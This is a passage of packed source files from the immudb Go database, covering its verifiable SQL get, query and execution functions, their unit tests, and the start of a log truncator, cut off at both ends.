db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{\n\t\tZAddRequest:  req,\n\t\tProveSinceTx: i1.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), vtx.Tx.Header.Id)\n\n\tekv := EncodeZAdd(req.Set, req.Score, EncodeKey(req.Key), req.AtTx)\n\trequire.Equal(t, ekv.Key, vtx.Tx.Entries[0].Key)\n\trequire.Equal(t, int32(0), vtx.Tx.Entries[0].VLen)\n\n\tdualProof := schema.DualProofFromProto(vtx.DualProof)\n\n\tverifies := store.VerifyDualProof(\n\t\tdualProof,\n\t\ti1.Id,\n\t\tvtx.Tx.Header.Id,\n\t\tschema.TxHeaderFromProto(i1).Alh(),\n\t\tdualProof.TargetTxHeader.Alh(),\n\t)\n\trequire.True(t, verifies)\n\n\tzscanReq := &schema.ZScanRequest{\n\t\tSet:     []byte(`set1`),\n\t\tSinceTx: vtx.Tx.Header.Id,\n\t}\n\n\titemList1, err := db.ZScan(context.Background(), zscanReq)\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList1.Entries, 1)\n\trequire.Equal(t, req.Key, itemList1.Entries[0].Entry.Key)\n\trequire.Equal(t, req.Score, itemList1.Entries[0].Score)\n}\n"
  },
  {
    "path": "pkg/database/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nfunc (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\tif req == nil || req.SqlGetRequest == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, ErrIllegalState\n\t}\n\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tsqlTx, err := d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := sqlTx.Catalog().GetTableByName(req.SqlGetRequest.Table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalbuf := bytes.Buffer{}\n\n\tif len(req.SqlGetRequest.PkValues) != len(table.PrimaryIndex().Cols()) {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: incorrect number of primary key values, expected %d, got %d\",\n\t\t\tErrIllegalArguments,\n\t\t\tlen(table.PrimaryIndex().Cols()),\n\t\t\tlen(req.SqlGetRequest.PkValues),\n\t\t)\n\t}\n\n\tfor i, pkCol := range table.PrimaryIndex().Cols() {\n\t\tpkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, err = valbuf.Write(pkEncVal)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// build the encoded key for the pk\n\tpkKey := sql.MapKey(\n\t\t[]byte{SQLPrefix},\n\t\tsql.MappedPrefix,\n\t\tsql.EncodeID(table.ID()),\n\t\tsql.EncodeID(sql.PKIndexID),\n\t\tvalbuf.Bytes(),\n\t\tvalbuf.Bytes())\n\n\te, err := d.sqlGetAt(ctx, pkKey, req.SqlGetRequest.AtTx, d.st, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\t// key-value inclusion proof\n\terr = d.st.ReadTx(e.Tx, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsourceKey := sql.MapKey(\n\t\t[]byte{SQLPrefix},\n\t\tsql.RowPrefix,\n\t\tsql.EncodeID(1), // fixed database identifier\n\t\tsql.EncodeID(table.ID()),\n\t\tsql.EncodeID(sql.PKIndexID),\n\t\tvalbuf.Bytes())\n\n\tinclusionProof, err := tx.Proof(sourceKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar rootTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx == 0 {\n\t\trootTxHdr = tx.Header()\n\t} else {\n\t\trootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvar sourceTxHdr, targetTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx <= e.Tx {\n\t\tsourceTxHdr = rootTxHdr\n\t\ttargetTxHdr = tx.Header()\n\t} else {\n\t\tsourceTxHdr = tx.Header()\n\t\ttargetTxHdr = rootTxHdr\n\t}\n\n\tdualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tverifiableTx := &schema.VerifiableTx{\n\t\tTx:        schema.TxToProto(tx),\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}\n\n\tcolNamesByID := make(map[uint32]string, len(table.Cols()))\n\tcolIdsByName := make(map[string]uint32, len(table.ColsByName()))\n\tcolTypesByID := make(map[uint32]string, len(table.Cols()))\n\tcolLenByID := make(map[uint32]int32, len(table.Cols()))\n\n\tfor _, col := range table.Cols() {\n\t\tcolNamesByID[col.ID()] = col.Name()\n\t\tcolIdsByName[sql.EncodeSelector(\"\", table.Name(), col.Name())] = col.ID()\n\t\tcolTypesByID[col.ID()] = col.Type()\n\t\tcolLenByID[col.ID()] = int32(col.MaxLen())\n\t}\n\n\tpkIDs := make([]uint32, len(table.PrimaryIndex().Cols()))\n\n\tfor i, col := range table.PrimaryIndex().Cols() {\n\t\tpkIDs[i] = col.ID()\n\t}\n\n\treturn &schema.VerifiableSQLEntry{\n\t\tSqlEntry:       e,\n\t\tVerifiableTx:   verifiableTx,\n\t\tInclusionProof: schema.InclusionProofToProto(inclusionProof),\n\t\tDatabaseId:     1,\n\t\tTableId:        table.ID(),\n\t\tPKIDs:          pkIDs,\n\t\tColNamesById:   colNamesByID,\n\t\tColIdsByName:   colIdsByName,\n\t\tColTypesById:   colTypesByID,\n\t\tColLenById:     colLenByID,\n\t\tMaxColId:       table.GetMaxColID(),\n\t}, nil\n}\n\nfunc (d *db) sqlGetAt(ctx context.Context, key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) {\n\tvar valRef store.ValueRef\n\n\tif atTx == 0 {\n\t\tvalRef, err = index.Get(ctx, key)\n\t} else {\n\t\tvalRef, err = index.GetBetween(ctx, key, atTx, atTx)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tval, err := valRef.Resolve()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.SQLEntry{\n\t\tTx:       valRef.Tx(),\n\t\tKey:      key,\n\t\tMetadata: schema.KVMetadataToProto(valRef.KVMetadata()),\n\t\tValue:    val,\n\t}, err\n}\n\nfunc (d *db) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tcatalog, err := d.sqlEngine.Catalog(ctx, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres := &schema.SQLQueryResult{Columns: []*schema.Column{{Name: \"TABLE\", Type: sql.VarcharType}}}\n\n\tfor _, t := range catalog.GetTables() {\n\t\tres.Rows = append(res.Rows, &schema.Row{Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: t.Name()}}}})\n\t}\n\n\treturn res, nil\n}\n\nfunc (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) (*schema.SQLQueryResult, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tcatalog, err := d.sqlEngine.Catalog(ctx, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttable, err := catalog.GetTableByName(tableName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres := &schema.SQLQueryResult{Columns: []*schema.Column{\n\t\t{Name: \"COLUMN\", Type: sql.VarcharType},\n\t\t{Name: \"TYPE\", Type: sql.VarcharType},\n\t\t{Name: \"NULLABLE\", Type: sql.BooleanType},\n\t\t{Name: \"INDEX\", Type: sql.VarcharType},\n\t\t{Name: \"AUTO_INCREMENT\", Type: sql.BooleanType},\n\t\t{Name: \"UNIQUE\", Type: sql.BooleanType},\n\t}}\n\n\tfor _, c := range table.Cols() {\n\t\tindex := \"NO\"\n\n\t\tindexed, err := table.IsIndexed(c.Name())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif indexed {\n\t\t\tindex = \"YES\"\n\t\t}\n\n\t\tif table.PrimaryIndex().IncludesCol(c.ID()) {\n\t\t\tindex = \"PRIMARY KEY\"\n\t\t}\n\n\t\tvar unique bool\n\t\tfor _, index := range table.GetIndexesByColID(c.ID()) {\n\t\t\tif index.IsUnique() && len(index.Cols()) == 1 {\n\t\t\t\tunique = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tvar maxLen string\n\n\t\tif c.MaxLen() > 0 && (c.Type() == sql.VarcharType || c.Type() == sql.BLOBType) {\n\t\t\tmaxLen = fmt.Sprintf(\"(%d)\", c.MaxLen())\n\t\t}\n\n\t\tres.Rows = append(res.Rows, &schema.Row{\n\t\t\tValues: []*schema.SQLValue{\n\t\t\t\t{Value: &schema.SQLValue_S{S: c.Name()}},\n\t\t\t\t{Value: &schema.SQLValue_S{S: c.Type() + maxLen}},\n\t\t\t\t{Value: &schema.SQLValue_B{B: c.IsNullable()}},\n\t\t\t\t{Value: &schema.SQLValue_S{S: index}},\n\t\t\t\t{Value: &schema.SQLValue_B{B: c.IsAutoIncremental()}},\n\t\t\t\t{Value: &schema.SQLValue_B{B: unique}},\n\t\t\t},\n\t\t})\n\t}\n\n\treturn res, nil\n}\n\nfunc (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, err error) {\n\ttxCtx, txCancel := context.WithCancel(context.Background())\n\n\ttxChan := make(chan *sql.SQLTx)\n\terrChan := make(chan error)\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\ttxCancel()\n\n\t\t\tif tx != nil {\n\t\t\t\ttx.Cancel()\n\t\t\t}\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tmd := schema.MetadataFromContext(ctx)\n\t\tif len(md) > 0 {\n\t\t\tdata, err := md.Marshal()\n\t\t\tif err != nil {\n\t\t\t\terrChan <- err\n\t\t\t\treturn\n\t\t\t}\n\t\t\topts = opts.WithExtra(data)\n\t\t}\n\n\t\ttx, err = d.sqlEngine.NewTx(txCtx, opts)\n\t\tif err != nil {\n\t\t\terrChan <- err\n\t\t} else {\n\t\t\ttxChan <- tx\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\t{\n\t\t\treturn nil, ctx.Err()\n\t\t}\n\tcase tx = <-txChan:\n\t\t{\n\t\t\treturn tx, nil\n\t\t}\n\tcase err = <-errChan:\n\t\t{\n\t\t\treturn nil, err\n\t\t}\n\t}\n}\n\nfunc (d *db) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\tif req == nil {\n\t\treturn nil, nil, ErrIllegalArguments\n\t}\n\n\tstmts, err := sql.ParseSQL(strings.NewReader(req.Sql))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tparams := make(map[string]interface{})\n\n\tfor _, p := range req.Params {\n\t\tparams[p.Name] = schema.RawValue(p.Value)\n\t}\n\n\treturn d.SQLExecPrepared(ctx, tx, stmts, params)\n}\n\nfunc (d *db) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\tif len(stmts) == 0 {\n\t\treturn nil, nil, ErrIllegalArguments\n\t}\n\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif d.isReplica() {\n\t\treturn nil, nil, ErrIsReplica\n\t}\n\n\treturn d.sqlEngine.ExecPreparedStmts(ctx, tx, stmts, params)\n}\n\nfunc (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tstmts, err := sql.ParseSQL(strings.NewReader(req.Sql))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstmt, ok := stmts[0].(sql.DataSource)\n\tif !ok {\n\t\treturn nil, sql.ErrExpectingDQLStmt\n\t}\n\treader, err := d.SQLQueryPrepared(ctx, tx, stmt, schema.NamedParamsFromProto(req.Params))\n\tif !req.AcceptStream {\n\t\treader = &limitRowReader{RowReader: reader, maxRows: d.maxResultSize}\n\t}\n\treturn reader, err\n}\n\nfunc (d *db) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) {\n\treader, err := d.SQLQuery(ctx, tx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer reader.Close()\n\treturn sql.ReadAllRows(ctx, reader)\n}\n\nfunc (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) {\n\tif stmt == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.sqlEngine.QueryPreparedStmt(ctx, tx, stmt, params)\n}\n\nfunc (d *db) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.sqlEngine.InferParameters(ctx, tx, sql)\n}\n\nfunc (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt})\n}\n\nfunc (d *db) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) {\n\t// copy sql catalogue\n\ttx, err := d.st.NewTx(ctx, store.DefaultTxOptions())\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\terr = d.CopyCatalogToTx(ctx, tx)\n\tif err != nil {\n\t\td.Logger.Errorf(\"error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}\", d.name, err, txID)\n\t\treturn 0, err\n\t}\n\tdefer tx.Cancel()\n\n\t// setting the metadata to record the transaction upto which the log was truncated\n\ttx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID))\n\n\ttx.RequireMVCCOnFollowingTxs(true)\n\n\t// commit catalogue as a new transaction\n\thdr, err := tx.Commit(ctx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn hdr.ID, nil\n}\n\ntype limitRowReader struct {\n\tsql.RowReader\n\tnRead   int\n\tmaxRows int\n}\n\nfunc (r *limitRowReader) Read(ctx context.Context) (*sql.Row, error) {\n\trow, err := r.RowReader.Read(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif r.nRead == r.maxRows {\n\t\treturn nil, fmt.Errorf(\"%w: found more than %d rows (the maximum limit). \"+\n\t\t\t\"Query constraints can be applied using the LIMIT clause\",\n\t\t\tErrResultSizeLimitReached, r.maxRows)\n\t}\n\n\tr.nRead++\n\treturn row, nil\n}\n"
  },
  {
    "path": "pkg/database/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSQLExecAndQuery(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.maxResultSize = 2\n\n\t_, _, err := db.SQLExecPrepared(context.Background(), nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = db.SQLExec(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"invalid sql statement\"})\n\trequire.ErrorContains(t, err, \"syntax error\")\n\n\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"CREATE DATABASE db1\"})\n\trequire.ErrorIs(t, err, sql.ErrNoSupported)\n\n\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"USE DATABASE db1\"})\n\trequire.ErrorIs(t, err, sql.ErrNoSupported)\n\n\tntx, ctxs, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: `\n\t\tCREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)\n\t`})\n\trequire.NoError(t, err)\n\trequire.Nil(t, ntx)\n\trequire.Len(t, ctxs, 1)\n\n\tres, err := db.ListTables(context.Background(), nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, res.Rows, 1)\n\n\t_, err = db.DescribeTable(context.Background(), nil, \"table2\")\n\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\n\tres, err = db.DescribeTable(context.Background(), nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Len(t, res.Rows, 4)\n\n\tntx, ctxs, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: `\n\t\tINSERT INTO table1(title, active, payload) VALUES ('title1', null, null), ('title2', true, null), ('title3', false, x'AADD'), ('title4', false, x'ABCD')\n\t`})\n\trequire.NoError(t, err)\n\trequire.Nil(t, ntx)\n\trequire.Len(t, ctxs, 1)\n\n\tparams := make([]*schema.NamedParam, 1)\n\tparams[0] = &schema.NamedParam{Name: \"active\", Value: &schema.SQLValue{Value: &schema.SQLValue_B{B: true}}}\n\n\t_, err = db.SQLQueryAll(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.SQLQueryAll(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: \"invalid sql statement\"})\n\trequire.ErrorContains(t, err, \"syntax error\")\n\n\t_, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: \"CREATE INDEX ON table1(title)\"})\n\trequire.ErrorIs(t, err, sql.ErrExpectingDQLStmt)\n\n\tq := \"SELECT * FROM table1 LIMIT 1\"\n\trows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params})\n\trequire.NoError(t, err)\n\trequire.Len(t, rows, 1)\n\n\tq = \"SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 4 AND active != @active\"\n\trows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params})\n\trequire.ErrorIs(t, err, ErrResultSizeLimitReached)\n\trequire.Len(t, rows, 2)\n\n\trows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params, AcceptStream: true})\n\trequire.NoError(t, err)\n\trequire.Len(t, rows, 3)\n\n\tinferredParams, err := db.InferParameters(context.Background(), nil, q)\n\trequire.NoError(t, err)\n\trequire.Len(t, inferredParams, 1)\n\trequire.Equal(t, sql.BooleanType, inferredParams[\"active\"])\n\n\tstmts, err := sql.ParseSQLString(q)\n\trequire.NoError(t, err)\n\trequire.Len(t, stmts, 1)\n\n\tinferredParams, err = db.InferParametersPrepared(context.Background(), nil, stmts[0])\n\trequire.NoError(t, err)\n\trequire.Len(t, inferredParams, 1)\n\trequire.Equal(t, sql.BooleanType, inferredParams[\"active\"])\n\n\t_, err = db.VerifiableSQLGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t},\n\t\tProveSinceTx: 5,\n\t})\n\trequire.ErrorIs(t, err, store.ErrIllegalState)\n\n\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table2\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\n\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}},\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.ErrorIs(t, err, sql.ErrInvalidValue)\n\n\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}},\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\n\tve, err := db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ve)\n\n\tve, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t\tAtTx:     ctxs[0].TxHeader().ID,\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ve)\n\n\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}},\n\t\t},\n\t\tProveSinceTx: 0,\n\t})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n}\n\nfunc TestVerifiableSQLGet(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"CREATE DATABASE db1\"})\n\trequire.ErrorIs(t, err, sql.ErrNoSupported)\n\n\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"USE DATABASE db1\"})\n\trequire.ErrorIs(t, err, sql.ErrNoSupported)\n\n\tt.Run(\"correctly handle verified get when incorrect number of primary key values is given\", func(t *testing.T) {\n\t\t_, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: `\n\t\t\tCREATE TABLE table1(\n\t\t\t\tpk1 INTEGER,\n\t\t\t\tpk2 INTEGER,\n\t\t\t\tPRIMARY KEY (pk1, pk2))\n\t\t`})\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: `\n\t\t\tINSERT INTO table1(pk1, pk2) VALUES (1,11), (2,22), (3,33)\n\t\t`})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable: \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{{\n\t\t\t\tValue: &schema.SQLValue_N{N: 1},\n\t\t\t}},\n\t\t}})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t\trequire.Contains(t, err.Error(), \"incorrect number of primary key values\")\n\n\t\t_, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable: \"table1\",\n\t\t\tPkValues: []*schema.SQLValue{\n\t\t\t\t{Value: &schema.SQLValue_N{N: 1}},\n\t\t\t\t{Value: &schema.SQLValue_N{N: 11}},\n\t\t\t\t{Value: &schema.SQLValue_N{N: 111}},\n\t\t\t},\n\t\t}})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t\trequire.Contains(t, err.Error(), \"incorrect number of primary key values\")\n\t})\n}\n"
  },
  {
    "path": "pkg/database/truncator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\nvar (\n\tErrTruncatorAlreadyRunning   = errors.New(\"truncator already running\")\n\tErrRetentionPeriodNotReached = errors.New(\"retention period has not been reached\")\n)\n\n// Truncator provides truncation against an underlying storage\n// of appendable data.\ntype Truncator interface {\n\t// Plan returns the latest transaction upto which the log can be truncated.\n\t// When resulting transaction before specified time does not exists\n\t//  * No transaction header is returned.\n\t//  * Returns nil TxHeader, and an error.\n\tPlan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error)\n\n\t// TruncateUptoTx runs truncation against the relevant appendable logs. Must\n\t// be called after result of Plan().\n\tTruncateUptoTx(ctx context.Context, txID uint64) error\n}\n\nfunc NewVlogTruncator(db DB, log logger.Logger) Truncator {\n\treturn &vlogTruncator{\n\t\tdb:      db,\n\t\tmetrics: newTruncatorMetrics(db.GetName()),\n\t\tlogger:  log,\n\t}\n}\n\n// vlogTruncator implements Truncator for the value-log appendable\ntype vlogTruncator struct {\n\tdb      DB\n\tmetrics *truncatorMetrics\n\tlogger  logger.Logger\n}\n\n// Plan returns the transaction upto which the value log can be truncated.\n// When resulting transaction before specified time does not exists\n//   - No transaction header is returned.\n//   - Returns nil TxHeader, and an error.\nfunc (v *vlogTruncator) Plan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error) {\n\treturn v.db.FindTruncationPoint(ctx, truncationUntil)\n}\n\n// TruncateUpTo runs truncation against the relevant appendable logs upto the specified transaction offset.\nfunc (v *vlogTruncator) TruncateUptoTx(ctx context.Context, txID uint64) error {\n\tdefer func(t time.Time) {\n\t\tv.metrics.ran.Inc()\n\t\tv.metrics.duration.Observe(time.Since(t).Seconds())\n\t}(time.Now())\n\n\tv.logger.Infof(\"copying sql catalog before truncation for database '%s' at tx %d\", v.db.GetName(), txID)\n\n\t// copy sql catalogue\n\tsqlCatalogTxID, err := v.db.CopySQLCatalog(ctx, txID)\n\tif err != nil {\n\t\tv.logger.Errorf(\"error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}\", v.db.GetName(), err, txID)\n\t\treturn err\n\t}\n\tv.logger.Infof(\"committed sql catalog before truncation for database '%s' at tx %d\", v.db.GetName(), sqlCatalogTxID)\n\n\t// truncate upto txID\n\terr = v.db.TruncateUptoTx(ctx, txID)\n\tif err != nil {\n\t\tv.logger.Errorf(\"error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}\", v.db.GetName(), err, txID)\n\t}\n\treturn err\n}\n\ntype truncatorMetrics struct {\n\tran      prometheus.Counter\n\tduration prometheus.Observer\n}\n\nfunc newTruncatorMetrics(db string) *truncatorMetrics 